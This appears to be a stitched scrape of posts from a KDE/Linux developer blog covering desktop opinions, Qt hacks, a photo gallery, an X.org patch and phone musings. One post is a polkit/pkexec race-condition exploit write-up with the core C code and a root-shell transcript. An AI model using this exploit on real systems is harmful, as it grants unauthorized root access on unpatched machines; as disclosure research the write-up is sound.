I’m using Kde on my computer at work and it is amazing. It’s improved so much that it’s now stable and highly usable.

I tried Unity (I’m using Ubuntu) and it was unusable. Gnome 3 was better but had massive issues with my second screen (dual screen setup with nvdia gpu running in twin view). Gnome 3 was still lacking in the productivity area though. Lxde worked great but I don’t want to use a desktop that looks and feels like Windows 95… Also Lxde has few apps so I had to pull in gnome or ode ones…

I also had issues with Ubuntu’s lightdm but switching to kdm fixed that. So far Kde is the only desktop that fully works, feels good, looks good and has apps for every task.

John
—
Sent from my phone

Finally folks are figuring out that KDE doesn’t suck anymore.

Gnome 3, Unity…they are like the George W. Bush of the non-KDE Linux desktop movement. Instead of taking care of the real issues on the desk, they went gallavanting off into the netbook world, dropping bombs all over the place and even to this day nobody can really figure out what the point of netbooks is…

There’s plenty of technical explanation in the comments of the code. I was assigned CVE-2011-4124, CVE-2011-4125, and CVE-2011-4126, my first three CVEs.

After that, I decided to learn about linker bugs, so I reread Tavis’ excellent two write-ups on CVE-2010-3856 and CVE-2010-3847. I saw that there was room for writing a newer exploit based on his research that did not depend on having read access to SUID executables or having a cron daemon installed, so I wrote I Can’t Read and I Won’t Race You Either. The source has plenty of explanation. I also suggest reading Tim Brown’s excellent paper on linker bugs.

set-wallpaper.sh:

#!/bin/sh
js=$(mktemp)
cat > $js <<_EOF
var wallpaper = "$1";
var activity = activities()[0];
activity.currentConfigGroup = new Array("Wallpaper", "image");
activity.writeConfig("wallpaper", wallpaper);
activity.writeConfig("userswallpaper", wallpaper);
activity.reloadConfig();
_EOF
qdbus org.kde.plasma-desktop /App local.PlasmaApp.loadScriptInInteractiveConsole "$js" > /dev/null
xdotool search --name "Desktop Shell Scripting Console – Plasma Desktop Shell" windowactivate key ctrl+e key ctrl+w
rm -f "$js"

David Zeuthen of Redhat explains on the original bug report:

Briefly, the problem is that the UID for the parent process of pkexec(1) is read from /proc by stat(2)’ing /proc/PID. The problem with this is that this returns the effective uid of the process which can easily be set to 0 by invoking a setuid-root binary such as /usr/bin/chsh in the parent process of pkexec(1). Instead we are really interested in the real-user-id. While there’s a check in pkexec.c to avoid this problem (by comparing it to what we expect the uid to be – namely that of the pkexec.c process itself which is the uid of the parent process at pkexec-spawn-time), there is still a short window where an attacker can fool pkexec/polkitd into thinking that the parent process has uid 0 and is therefore authorized. It’s pretty hard to hit this window – I actually don’t know if it can be made to work in practice.

Well, here is, in fact, how it’s made to work in practice. There is as he said an attempted mitigation, and the way to trigger that mitigation path is something like this:

     $ sudo -u `whoami` pkexec sh
     User of caller (0) does not match our uid (1000)

Not what we want. So the trick is to execl to a suid at just the precise moment /proc/PID is being stat(2)’d. We use inotify to learn exactly when it’s accessed, and execl to the suid binary as our very next instruction.

	if (fork()) {
		int fd;
		char pid_path[1024];
		sprintf(pid_path, "/proc/%i", getpid());
		printf("[+] Configuring inotify for proper pid.\n");
		close(0); close(1); close(2);
		fd = inotify_init();
		if (fd < 0)
			perror("[-] inotify_init");
		inotify_add_watch(fd, pid_path, IN_ACCESS);
		read(fd, NULL, 0);

All the code up to this point makes this process block until /proc/PID is read, at which point it:

		execl("/usr/bin/chsh", "chsh", NULL);

Which is suid. Meanwhile in the other process, we launch pkexec, which skirts passed the initial checks, but gets fooled when we change the uid of the parent process:

	} else {
		sleep(1);
		printf("[+] Launching pkexec.\n");
		execl("/usr/bin/pkexec", "pkexec", "/bin/sh", NULL);
	}

And it works:

 $ pkexec --version
 pkexec version 0.101
 $ gcc polkit-pwnage.c -o pwnit
 $ ./pwnit 
 [+] Configuring inotify for proper pid.
 [+] Launching pkexec.
 sh-4.2# whoami
 root
 sh-4.2# id
 uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
 sh-4.2#

This exploit is known to work on polkit-1 <= 0.101. However, Ubuntu, which as of writing uses 0.101, has backported 0.102's bug fix. A way to check this is by looking at the mtime of /usr/bin/pkexec -- April 19, 2011 or later and you're out of luck. It's likely other distributions do the same. Fortunately, this exploit is clean enough that you can try it out without too much collateral.

So head on over and try it out! You can watch it in action over on YouTube as well:

Greets to Dan.

So in a few lines of easy Qt/C++, I wrote vcardexport, a console application. It spits all the contacts out into one giant vcard file that can be reimported later with vcardconverter. Simple and easy. The biggest pain was getting the Aegis manifest correct, as the auto-generation tool is broken, and documentation is kind of sparse, but it’s all sorted now.

You can browse the source here or download the latest deb from here.

Usage:

$ /opt/vcardexport/bin/vcardexport > ~/vcards.vcf

Hope this is helpful. Enjoy the new firmware:

    image        [state    progress         transfer     flash speed]
---------------------------------------------------------------------
[x] cert-sw      [finished   100 %       1 /       1 kB      NA     ]
[x] cmt-2nd      [finished   100 %      95 /      95 kB      NA     ]
[x] cmt-algo     [finished   100 %     789 /     789 kB      NA     ]
[x] cmt-mcusw    [finished   100 %    6008 /    6008 kB    2933 kB/s]
[x] xloader      [finished   100 %      23 /      23 kB      NA     ]
[x] secondary    [finished   100 %      88 /      88 kB      NA     ]
[x] kernel       [finished   100 %    2708 /    2708 kB    2024 kB/s]
[x] rootfs       [finished   100 %  326205 /  326205 kB    7339 kB/s]
[x] mmc          [finished   100 %  204747 /  204747 kB   17604 kB/s]
Updating SW release
Success

Unfortunately, the projector in the room was broken, so we all had to huddle around my laptop, which actually had the effect of making the workshop much more intimate. If you’re interested, here’s the code we wrote together.

There are two models of the E52 — the E52-1, which has European 3G frequencies, and the E52-2, which has North American 3G frequencies. I’m looking for the E52-2.

If anyone knows there whereabouts of an E52-2, please inform me. I will bid high.

With that said, maybe it’s time for me to find a smartphone. I still use an old Nokia 1100, which doesn’t support much more than calling and SMS. And Snake II. Windows Phone 7 is out. Meego is dead. WebOS is limping. Blackberry has an arcane dev environment. What’s that leave? Junked up Android. As a platform, Android seems to already be experiencing some bloat and disorganization and Java doesn’t seem too hot. But at the very least it runs Qt now.

The big problem is finding a satisfactory phone. My critera are fairly simple:

QWERTY physical keyboard (I actually would prefer T9, but this is now long past ). This is very important. I will not compromise about this.

But nothing like this exists. Well, the Xperia Pro looks almost perfect — AT&T 3G (approx), fast processor, pretty screen, great keyboard, etc — except so far it’s only available for pre-order in the UK and it’s looking unlikely it’ll be hitting the US.

What is out there that meets these criteria? Why has my research turned up dry continually?

[Sidenote: actually, the perfect phone for me might be the very dated Nokia E52, but I can't seem to find a north american model anywhere, even on eBay.]

PhotoFloat follows the design of using a static html page with a static javascript app that creates dynamic layouts from static json files on the server. This means that googlebot has nothing to index, since it doesn’t run javascript. Uh oh!

But not quite. A comment in my blog post pointed me toward Google’s AJAX Crawl specification, which is incredible. Basically, sites that use URLs like: http://photos.​jasondonenfeld.​com/#!/​columbia_winter_senior​/img_1712.jpg with the #! in there (as Twitter does, for example) get rewritten by googlebot to http://photos.​jasondonenfeld.​com/?_escaped_fragment_=​columbia_winter_senior​/img_1712.jpg. Then, on the server, using a combination of mod_rewrite, a lil php script as a loader, and a tiny Java app I wrote around HtmlUnit (Google says HtmlUnit it’s industry standard), the server sends back static HTML as if a browser had already run all the JavaScript and executed HTML requests.

Aside from SEO, it means that Facebook’s crawler can get the proper title and the thumbnails:

The web evidently is moving away from server-generated HTML and onto JavaScript interfaces, and this is a way to keep up SEO.

Source:

RewriteCond %{QUERY_STRING} _escaped_fragment_=
RewriteRule . staticrender.php [L]

Hope this is useful.

I don’t really like database driven photo management software, and prefer instead to manage my photos in a good old no-nonsense directory structure. For this reason, I was particularly attracted to Zenphoto as a means of getting my photos online, as it works on directory structures. Unfortunately, Zenphoto is horrible; it’s riddled with bugs, inconstant, a cluttered architecture, and most of all, it’s extremely slow. Every time it runs, it re-scans directories and makes a bazillion SQL calls. The viewer interface is also outdated and clunky, having a different html page for each photo. So I went back to the drawing board and considered how to make things better.

Introducing PhotoFloat. The idea is this — instead of scanning and caching metadata and thumbnails during page load time, everything is to be done prior. It’s a bit of an old school mentality. There is a script that generates static json files of metadata and album structures and static thumbnails of images, so that all the content can be served directly by Apache. Why? Because I only need to generate new thumbnails and data files when I upload new images (or alternatively, on a cron job). So that’s what I did; I wrote a simple python script that walks a directory structure looking for new or changed images and albums. It’s smart too — to be super zippy, it does file modification time comparisons. It also cleans up after itself, deleting stale files.

So I have all my original images on my webserver, because I have Dreamhost’s unlimited hosting. I also have another directory that I populate with symlinks to the directories I actually want online. Every time there are new images, my python script fires up, and updated json data files and thumbnail files are generated.

Great, but where does this leave us? What can we do with json files? This is where things become wonderful. Since all the data for the gallery is AJAX fetchable, there is a single html page and a single javascript file that takes care of the whole gallery. That’s right — all of the display of views is done client side, and in one page load.

To keep track of pages and for swapping around links, each different album and different image has it’s own hash url, like, for example: #!/new_hampshire_in_snow_3.15.11-3.17.11/img_1919.jpg. It’s all lower case with naughty characters stripped out to keep up with the patterns of wordpress and other web apps. These function as permalinks.

The albums have extensive support for EXIF metadata, which can be loaded by clicking ‘show metadata’, and a transparent box slides up over the photo. There’s also the ability to download the original photos.

Each album gets a randomized thumbnail which assigns probabilities to each image in the album based on the number of images in each album and the depth of subalbums. The randomization algorithm is all done at client side.

Images are preloaded. Album data is prefetched. Everything is cached sanely. JSON files are gzipped. There are animations between views and smooth scrolling. The right and left arrow keys work. Clicking on the photo advances it, like on Facebook. Finally, I do include one dynamic script — a simple php script that takes old Zenphoto URLs and translates them into the new ones, so that people with old links can still access the same photos.

Essentially, there are a lot of little details that had to be done right, and to my knowledge, no web gallery that works on directory structures has done it well, making an ajaxy and speedy gallery. So now you have PhotoFloat. I’ve just finished writing it, and the code is a bit of a mess, but let me know if you have any suggestions or find any bugs.

You can browse the code in the git repository or try it out live on my photo site. If you make any modifications of my code or use it on your own site, please inform me and send any modifications back to me. Remember to run make on the web directory to minify the css and javascript, and also, be sure to change the google analytics tracking ID in web/js/999-googletracker.js.

Comments? Suggestions?

Update 2 for KDEers: It looks like some people from kipi-plugins and kphotoalbum are interested in building integration for this in.

Update 3: Following a suggestion in the comments below, URLs now use #!, which google translates to a special query string, and I’ve written a serverside component that executes the JavaScript and displays static content for googlebot. This allows the metadata to be crawled.

The most important things I see lacking in Kwin from KDE 4.5 are an API to allow windows to open in a specific existing group (make a new tab in the decoration), and that the windows from a specific group are not grouped in the taskbar. I also think that if these 2 problems are fixed, most apps in KDE could use the decoration tabs instead of relying on the currently used tabs, inside the application itself. The important thing to notice here is the natural mix between the application tabs and the menu button. These complete each other, and all apps in KDE which rely on tabs to show documents would ideally use this system (dolphin, rekonq, kate, kword… just to name a few).

Here are some screen shots proposed in the comment thread:

Having an easy API to enable this would be very welcome.
setMainMenu(menu);
setWindowTabs(tabWidget);

Elsewhere in KWin settings:

[ X ] Place tabs in window border when supported.
[   ] Place main menu in window border when supported.

Qt on the desktop is currently not a priority for our R&D team, even though Nokia does use Qt for desktop applications (and not only Qt Creator). That doesn’t mean that nobody is working on it, however we do believe that Qt is a great development tool for desktop applications, even if we just maintain it and keep it working on the desktop platforms. We definitely want to keep it that way, and we continue to improve and modernize Qt on the desktop as well, but I personally don’t really see that there are a lot of new features we could add to make Qt significantly more powerful for desktop development (esp features that are already provided by other libraries – why cannibalize our own community?).

Perhaps obvious and expected, but are we okay with this admission?

…or is this just wishful thinking?

If his prediction is correct, does that mean Meego will be revived?

Update: Our voice has been heard about this, but they still don’t know what the hell is happening.

So I’ve decided to mirror Qt’s repository on my personal server running cgit, which is much much faster than Gitorious. It’s synced once an hour by cron. And if nobody abuses this, I’ll keep it open for the community.

Head on over to git.zx2c4.com/qt.

Next up, I might attempt to mirror KDE’s subversion repository on my CGit. I’m not a very big fan of websvn, and I know KDE is moving to git, but the main tree won’t be moved for quite some time. Anyone an expert at git-svn and can provide some tips for a mirroring script to a bare repository? As we speak, I’m running git svn fetch on a repository made with git svn init --stdlayout svn://anonsvn...., and then manually adjusted to be bare. The import is taking a long time…

Update update update: Holy cow. After leaving git svn fetch running overnight, I’m on revision 41671 of 1159974… which is only 3.5% done (and by the way, I’m running this out of a data center’s über-bandwidth connection). KDE has a huge history; this is obscene. Any pointers here? Should I stop this? Have I done something silly that will render the eventual result unusable?

If you set the trigger word to nothing, then it will add dictionary entries for every query, which could be neat:

Hoping to move this out of kdereview soon and into kdebase.

It functions as simply as I wanted it to back in March: you hit alt+f2, type “define {your word}”, and presto, the results are there.

Unfortunately, it wasn’t as easy as it ought to have been. I utilize the same data source as the dictionary plasmoid, which is a Plasma::DataEngine, and as it turns out, DataEngine has a few issues with threading, which KRunner relies on. It’s also built around signal/slot async requests, while KRunner uses a blocking thread for computation. I ended up having to invoke a QMetaMethod to shuffle things to the right thread and use a QMutex for synchronization. What a hassle. Nevertheless, the dictionary plugin seems to work pretty well.

Anything I should add to it? Ability to choose alternative trigger words to “define”? Some kind of loading indicator? If you have the time, try out the code and let me know what you think.

Update: Some of you in the comments and on IRC have asked me the best way to try this out immediately. Here are the commands:

svn co svn://anonsvn.kde.org/home/kde/trunk/kdereview/plasma/runners/dictionary dictionary-krunner
cd dictionary-krunner
cmake . -DCMAKE_INSTALL_PREFIX=$(kde4-config --prefix)
make
sudo make install
kbuildsycoca4
kquitapp krunner
krunner

Let’s say you have two QGraphicsItem called plate1 and plate2, in a subclass called PlateGraphicsItem. Inside plate1 and plate2, you have a few child items, food1, food2, food3, food4, etc, in a subclass called FoodGraphicsItem. Foods are inside of plates. What if we want to move one piece of food from one plate to another, smoothly dragging it there? Intuitively, we should be able to do this (after remembering to run setFlag(ItemSendsGeometryChanges)):

QVariant FoodGraphicsItem::itemChange(GraphicsItemChange change, const QVariant &value)
{
	if (change == ItemPositionChange && scene()) {
		QRectF newRect = mapRectToScene(boundingRect());
		newRect.moveTo(parentItem()->mapToScene(value.toPointF()));
		foreach (QGraphicsItem *item, scene()->items()) {
			if (item != parentItem() &&
			    qgraphicsitem_cast< PlateGraphicsItem* >(item) &&
			    item->mapRectToScene(item->boundingRect()).contains(newRect)) {
				setParentItem(item);
				break;
			}
		}
	}
	return QGraphicsItem::itemChange(change, value);
}

As the user drags the food, we see if it’s boundingbox fits inside the bounding box of a different plate. If it does, we switch parents. But this doesn’t happen. As soon as the item is reparented, it leaps across the screen to the same relative position it was in while inside of the old plate. If it was on the bottom-left corner of the old plate, it moves to the bottom-left corner of the new plate. Not what we want. So it seems like we should be able to modify the inside of that loop like this:

				QPointF oldPos = scenePos();
				setParentItem(item);
				return QVariant(item->mapFromScene(oldPos));

But alas, this does not work either. As soon as you move the mouse again (while still dragging), the item leaps to where it was before the above fix. And remember: this leap puts the item far away from underneath the mouse cursor. So it works initially, but the next time Qt’s MouseMove event handler is called, we’re SOL.

After digging through the Qt source for quite a bit of time, it turns out that Qt keeps track of where the mouse was pressed originally, in the scene coordinates, and uses this to compute the new location relative to the old parent coordinates. Not good. Mixing coordinate systems like this is not okay once the item is reparented. It turns out, we have to simulate a mouse release event to clear Qt’s internal state. But this doesn’t completely do it, because the mouse event still has the scene coordinate of where the button was pressed, which means we also need to intercept and tamper this information before Qt sees it. Essentially what this amounts to is reversing Qt’s coordinate equation, solving for zero, and adding back the location that we want. And this has to happen every time the user moves the mouse, but it should only happen once the item has been reparented. And if the item is reparented back to the original plate after a series of drags, we still have to do this transformation, since we have already cleared Qt’s internal state, which means we need to store the click location once we reparent.

So all and all, this horrible hack amounts to adding this (and making the above modification):

void FoodGraphicsItem::mouseMoveEvent(QGraphicsSceneMouseEvent *event)
{
	//BIG PHAT UGLY HACK!
	if (event->buttonDownScenePos(Qt::LeftButton) == m_manualMouseReleaseAt ||
	    !parentItem()->contains(parentItem()->mapFromScene(event->buttonDownScenePos(Qt::LeftButton)))) {
		m_manualMouseReleaseAt = event->buttonDownScenePos(Qt::LeftButton);
		QGraphicsSceneMouseEvent mouseRelease(QEvent::GraphicsSceneMouseRelease);
		QGraphicsItem::mouseReleaseEvent(&mouseRelease);
		event->setButtonDownScenePos(Qt::LeftButton, parentItem()->mapToScene(pos() + transform().map(event->buttonDownPos(Qt::LeftButton))));
	}
	QGraphicsItem::mouseMoveEvent(event);
}

This works, but it’s awful. Really awful. And it could break in future Qt versions. But for now, it works.

So I’m wondering — is this behavior by design, or have I uncovered an odd Qt bug?

Update: It looks like others have encountered the same problem. Well, here’s a work around. But is there a more correct solution?

1. alt + f2
2. type “define “
3. ctrl + v
4. awe at simplicity

While we’re at it, a translation plugin would be nice too.

I will make the dictionary runner. Standby.

So, I turn to the interwebs for help: How do I find a summer coding job in Europe? Anyone suggest any companies or individuals to contact, or know of any European coding gigs search sites? Any KDE/Qt companies based in Paris or Italy or anyplace European I should contact? I’ll be in Paris next week traveling, so perhaps I’d be able to meet some folks in person while I’m over there.

The system tray has issues, there’s no support for the disc number, there are some issues with the search filter and multiple fields, I haven’t tested the file renaming capabilities, collection scanning is odd, it still relies on Qt3Support, there is no shortcut handler for scrolling to the current track, and it’s got a lot of unfortunate tiny quirks. But all of this is to be expected of software that’s been basically forgotten about since KDE 3.4.

So after exams are over, I’m going to start investigating Juk’s codebase and seeing if it’s worth it to whip this great player into shape for the prime. It looks promising so far, though I haven’t tested it very completely yet.

Qt 4.6 was released, and Alessandro put together some awesome tutorial videos for setting up a Qt/Symbian development platform.

The installation was not so smooth, however. I have a Nokia 6650, branded and locked down by AT&T, which makes it awful. It’s filled with bloatware I can’t remove and there are all sorts of restrictions in the operating system, especially related to app installation. It would not let me install PIPS, which is required for OpenC and Qt, and gave me either a nasty error from Qt’s demo installer or from the standalone installer an error message like “Component already built-in. You’re screwed.” So I had to jailbreak the phone, by installing HelloCarbide to allow me to install CapsOn/Off to allow me to insert a hacked installserver.exe so that it would let me install PIPS. Whew that took a long time. Debug deployment is also broken with a message like “General OS error.” No clue. It will sometimes work if installed manually, but basically, AT&T’s restrictions make development pretty rough.

Nevertheless, I prevailed in porting my classic Qt example app: MessagePopper. The only modifications were having the main window show with showMaximized() instead of show() for Q_OS_SYMBIAN and focusing a text input, because evidently if a focused widget is hidden and no other visible widget is programmatically focused, the user cannot select anything. The huge addition was adding a function call to ask Symbian for a network connection, and this required including from Qt’s FTP demo the sym_iap_util.h header and qmake pro additions. Oy. I wish this part were built in to QtNetwork.

It worked beautifully though, and here’s a video demonstrating the app:

(link to youtube original)

• It is clunky. Really clunky. It’s very thick and does not fit into the pocket well.
• The keyboard is too tiny. Maybe this just takes some getting used to, but I couldn’t do it.
• No multi-touch. The little swirling gesture to zoom is a cop-out for a much needed multi-touch screen.
• Unintuitive user-interface. Some things made sense, but generally operations took one too many clicks. Making phone calls should be easy and fast.
• The user interface does not rotate.
• The web browser is turkey slow, even for cached pages.
• Ovi maps is uglier than GMaps, and again – no multi-touch.

Oh well. I guess I’ll wait until the N900+1, especially considering that Maemo 5 will soon be obsolete.

Or maybe I’m just approaching it the wrong way? I dunno. After all, it does run Linux, can run KDE, and is extremely open… but still: it’s lacking heavily in several areas.

So should I wait for the N900+1? $649 is a lot to shell out for a device that is running on a platform that is being retired (“moved to community support”). Besides, I’m a Qt guy, not a Gtk wizard, and any programming I do with the device will most likely be with Qt. Will Maemo 6 be available for the N900? The N900 does not, as far as I can tell, have a multi-touch screen, which means it won’t be able to use Qt 4.6+’s multi-touch gesture support.

On the other hand, how much longer until a Maemo 6 device is released? Probably over a year from now. I also fear, perhaps without good reason, that Maemo 6 (and perhaps even Maemo 5 — I’ll find out later today when I try it out) will have some kind of new-age high-tech web-service-enabled interface that is going to be more difficult to use than my current old school phone. I dunno.

So what should I do? Go for the N900/Maemo5 if it looks decent, or wait who knows how long for the N900+1/Maemo6?

PS: What’s the story with libdui or DirectUI? I can’t find much about this online.

PPS: Is there a future relationship between Plasma and Maemo beyond neat hacks?

That is, nothing got done until a lone user piped up with a workaround. Here is what he wrote in the comments of that blog post:

Hi, I have been pissed off by this problem a long time and assumed it was ATI’s fault. Tonight I made one last effort before ordering a Nvidia graphics card. And I was successful.

I am running catalyst 9.8 using a Radeon 3850 and have had this re-size/maximize problem as long as long as I have used KDE4. To solve the problem I needed to modify a file in xorg-server. in the code directory it is called ./composite/compalloc.c. Here I commented out most of a function called compNewPixmap. Everything below these lines:

pPixmap->screen_x = x;
pPixmap->screen_y = y;

all the way down to (but not including) the last line:

return pPixmap;

After this I am running KDE4 with all desktop effects that I want and without any lag in resizing/maximizing.
I am running Gentoo, so I just updated the xorg-server source package file and put it back into the source repository, rebuilt the manifest and emerged it again. Voila!

Voila indeed. The patch he’s talking about looks like this (thanks to this Russian blog I can’t read):

--- composite/compalloc.c.orig  2009-09-08 02:54:28.657143479 +0700                              
+++ composite/compalloc.c       2009-09-08 02:55:42.835357653 +0700                              
@@ -484,64 +484,6 @@                                                                             
     pPixmap->screen_x = x;                                                                      
     pPixmap->screen_y = y;                                                                      
 
-    if (pParent->drawable.depth == pWin->drawable.depth)                                        
-    {                                                                                           
-       GCPtr   pGC = GetScratchGC (pWin->drawable.depth, pScreen);                              
-                                                                                                
-       /*                                                                                       
-        * Copy bits from the parent into the new pixmap so that it will                         
-        * have "reasonable" contents in case for background None areas.                         
-        */                                                                                      
-       if (pGC)                                                                                 
-       {                                                                                        
-           XID val = IncludeInferiors;                                                          
-                                                                                                
-           ValidateGC(&pPixmap->drawable, pGC);                                                 
-           dixChangeGC (serverClient, pGC, GCSubwindowMode, &val, NULL);                        
-           (*pGC->ops->CopyArea) (&pParent->drawable,                                           
-                                  &pPixmap->drawable,                                           
-                                  pGC,                                                          
-                                  x - pParent->drawable.x,                                      
-                                  y - pParent->drawable.y,                                      
-                                  w, h, 0, 0);                                                  
-           FreeScratchGC (pGC);                                                                 
-       }                                                                                        
-    }                                                                                           
-    else                                                                                        
-    {                                                                                           
-       PictFormatPtr   pSrcFormat = compWindowFormat (pParent);                                 
-       PictFormatPtr   pDstFormat = compWindowFormat (pWin);                                    
-       XID             inferiors = IncludeInferiors;                                            
-       int             error;                                                                   
-                                                                                                
-       PicturePtr      pSrcPicture = CreatePicture (None,                                       
-                                                    &pParent->drawable,                         
-                                                    pSrcFormat,                                 
-                                                    CPSubwindowMode,                            
-                                                    &inferiors,                                 
-                                                    serverClient, &error);                      
-                                                                                                
-       PicturePtr      pDstPicture = CreatePicture (None,                                       
-                                                    &pPixmap->drawable,                         
-                                                    pDstFormat,
-                                                    0, 0,
-                                                    serverClient, &error);
-
-       if (pSrcPicture && pDstPicture)
-       {
-           CompositePicture (PictOpSrc,
-                             pSrcPicture,
-                             NULL,
-                             pDstPicture,
-                             x - pParent->drawable.x,
-                             y - pParent->drawable.y,
-                             0, 0, 0, 0, w, h);
-       }
-       if (pSrcPicture)
-           FreePicture (pSrcPicture, 0);
-       if (pDstPicture)
-           FreePicture (pDstPicture, 0);
-    }
     return pPixmap;
 }

This patch works like a charm. All of the FGLRX resizing/maximizing bugs disappear. Not only that, but things like clicking on the K menu are suddenly a lot faster… KDE4 doesn’t seem laggy and now has the performance I’ve expected all along. The effects look great, and my transparent terminal is a delight.

There is, however, a bit of garbage that shows up occasionally, and perhaps there’s a good use for the code that was removed in the patch. Why is it only FGLRX that benefits from removing this code? I don’t know much about XOrg internals, but I’m guessing it has to do with some sort of sometimes-required allocation that causes a readback in the FGLRX driver but not in other drivers. What’s the deal? Is fixing this problem as simple as committing this patch and then fixing the garbage error? Or is the code that was removed necessary, and really the problem lays with FGLRX? What to do at this point?

Evidently KMix is supposed to support PA, but it still only shows the alsa devices. I suspect this is related to when PA is loaded, and currently I do not have any user-space loader. What’s the optimal way for this to happen in KDE? An autostart entry? Symlinking some mysterious file to kde’s env directory? All the forum posts are for older KDE versions. Phonon works so far though. All the PA apps are GTK/GConf based, and aren’t very KDE friendly, and generally it seems like KDE has neglected PA support, or PA has neglected KDE support. They simply aren’t very pretty together. What are the plans for integrating KDE and PA a little bit more closely?

I’m using a Macbook as a print server, printing to it from my Linux box, and everything is simple because they both use CUPS. However, I’m having a bit of trouble streaming audio to it. I can’t seem to build PA on OSX, and I don’t even think OSX is officially supported by PA. I tried installing ESD using MacPorts and using PA’s bridge for that, but it played a half a second of sound before skipping. ESD doesn’t do good latency calculations. PA supports streaming to Airport Express, so I thought I’d try out Airfoil Speakers, but unfortunately, Airfoil uses a different protocol. So I’m not sure what to do now… How do I send PA to my Macbook?

PA also doesn’t work well with Skype, and I anticipate some other problems as well. What a hassle. Why the bad integration with KDE? Why the numerous bugs? Any PA tips from veteran readers?

Amongst users of the proprietary ATI driver (FGLRX), it’s a well known problem that KDE4′s KWin’s desktop effects are unusable due to turtle slow window resizing. Unfortunately, bug reports and forum posts fail to come up with a clear answer as to why this happens, who is responsibility for fixing it, and which parts of the stack need to adapt for the bug. If you’re not already familiar with the problem, observe:

Direct YouTube Link

As you can see, the three second delay in window resizing, maximizing, and (perhaps) restoring makes compositing-enabled KWin unusable. Note that the problem still persists when disabling the “show window content while resizing” option.

It’s been particularly difficult to track down the route of this problem and who should be fixing it. From a lengthy discussion on Phoronix’s Forums, ATI’s “Bridgman” user acknowledges the problem but claims “It’s not a driver issue AFAIK, so not sure why we would mention it in the release notes.” He goes on to indicate that the problem was introduced during a hack to ensure KWin compatibility on Intel cards, to work around a glitch with garbage appearing on the screen, and a lengthy debate over the “107_fedora_dont_backfill_bg_none.patch” patch. Somewhere the stack was patched to support Intel cards at the expense of ATI cards, according to ATI’s “Bridgman”.

Over on the KDE bugzilla, we’re met with a curt response from the KWin team: “Driver bug then.” The bug is marked as “RESOLVED” and “UPSTREAM”.

And elsewhere on the Internet, we get a helpless string of “still not fixed” messages, over on the unofficial FGLRX bugzilla, other Phoronix forum posts, and distro forums.

So I ask my readers: who is responsible for this bug and how will it be fixed? If indeed it is neither FGLRX nor KWin and the problem exists in XOrg, why has XOrg been patched to support Intel cards at the expense of ATI cards? Is there anything FGLRX or KWin could be doing to mitigate the problem? Potential workarounds? Users have complained of this problem for over a year now perhaps, but not once has leadership from anywhere offered a compelling explanation or plan for the future. What to do?

Leave comments. The current discussion seems to be fruitful.

It is also (nearly) possible to emulate the layout of Juk, iTunes, Banshee, or Rhythmbox:

It is not now configurable and is rather inefficient because getlisting.php does not support very complex queries (though I do take advantage of its sorting on lines 54-57), but this will be changed by the time I release an installable version of the script. Currently, it downloads a listing of the entire collection during the first request (lines 27-33), and then just reads from an in-memory database (multidimensional array) to query the different levels (lines 34-95). TMI: too much iteration.

Unfortunately there are some kinks, as Phonon often has trouble playing URLs and does not always show buffering information correctly (both gstreamer and xine backends). Look at lines 65 and below of getsong.php: this should be a working HTTP streaming implementation, but Phonon doesn’t dig it, for whatever reason. Any pointers here? The same issue crops up in the standalone qt player for ZX2C4 Music. Strange. Also, I use QTextDocument to convert HTML entities back to normal text (lines 14-22), but it’s very slow. Is there a better way to be doing this? Finally, callbackData (line 73) refuses to store an array, which means I have to use a nasty splitter; this is a bug presumably.

For the ZX2C4 Music hackers out there, here’s the source code to play with:

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Importer.loadQtBinding("qt.core");
Importer.loadQtBinding("qt.network");
Importer.loadQtBinding("qt.gui");
 
function ZX2C4Music()
{
	ScriptableServiceScript.call(this, "ZX2C4 Music", 3, "Browse ZX2C4 Music", "The entire ZX2C4 collection, at your finger tips.", false);
}
var songs = null;
var delayedArgs = null;
function receiveDatabase(reply)
{
	songs = eval(reply)[1];
	var decoder = new QTextDocument();
	for (var i = 0; i < songs.length; i++)
	{
		for (var j = 0; j < songs[i].length; j++)
		{
			decoder.setHtml(songs[i][j]);
			songs[i][j] = decoder.toPlainText();
		}
	}
	onPopulate(delayedArgs[0], delayedArgs[1], delayedArgs[2]);
}
function onPopulate(level, callback, filter)
{
	if (songs == null)
	{
		delayedArgs = [level, callback, filter];
		new Downloader(new QUrl("http://music.zx2c4.com/getlisting.php?username=TOP&password=SECRET&language=javascript"), receiveDatabase);
		Amarok.Window.Statusbar.shortMessage("ZX2C4 Music collection is loading...");
		return;
	}
	if (level == 0)
	{
		var splitCallback = callback.split("&*/ZX2C4MUSICSPLITTER/*&");
		var notFirst = false;
		for (var i = 0; i < songs.length; i++)
		{
			if (songs[i][4] == splitCallback[0] && songs[i][3] == splitCallback[1])
			{
				notFirst = true;
				var item = Amarok.StreamItem;
				item.level = 0;
				item.itemName = songs[i][2];
				item.playableUrl = "http://music.zx2c4.com/getsong.php?username=TOP&password=SECRET&transcode=false&hash=" + songs[i][0];
				item.album = songs[i][3];
				item.artist = songs[i][4];
				item.track = songs[i][1];
				item.infoHtml = "";
				item.callbackData = "";
				script.insertItem(item);
			}
			else if (notFirst)
			{
				break;
			}
		}
	}
	else if (level == 1)
	{
		var lastAlbum;
		for (var i = 0; i < songs.length; i++)
		{
			if (callback == songs[i][4] && lastAlbum != songs[i][3])
			{
				lastAlbum = songs[i][3];
				var item = Amarok.StreamItem;
				item.level = 1;
				item.itemName = lastAlbum;
				item.playableUrl = "";
				item.infoHtml = "";
				item.callbackData = callback + "&*/ZX2C4MUSICSPLITTER/*&" + lastAlbum;
				script.insertItem(item);
			}
		}
	}
	else if (level == 2)
	{
		var lastArtist;
		for (var i = 0; i < songs.length; i++)
		{
			if (lastArtist != songs[i][4])
			{
				lastArtist = songs[i][4];
				var item = Amarok.StreamItem;
				item.level = 2;
				item.itemName = lastArtist;
				item.playableUrl = "";
				item.infoHtml = "";
				item.callbackData = lastArtist;
				script.insertItem(item);
			}
		}
	}
	script.donePopulating();
}
var script = new ZX2C4Music();
script.populate.connect(onPopulate);

Update: Possibly this coming week we’ll meet. Anyone know of good coffee shops in Manhattan that have wifi? Or perhaps I can procure a spot in a Columbia building…

I’m just a student, but I can build just about anything with code. The problem is that people in the industry disregard me because I’m young. I also doesn’t have many “contacts” or “networks” for shmoozing up. I am, however, looking for a lucrative freelance coding job for this summer.

So I’m wondering – amongst those of you who have been in a similar predicament, how have you gone about finding programming gigs?

A related question: does anybody hire KDE programmers?

Sincerely,
Unemployed

I am curious about the future of KHTML in the face of WebKit. Three questions come to mind:

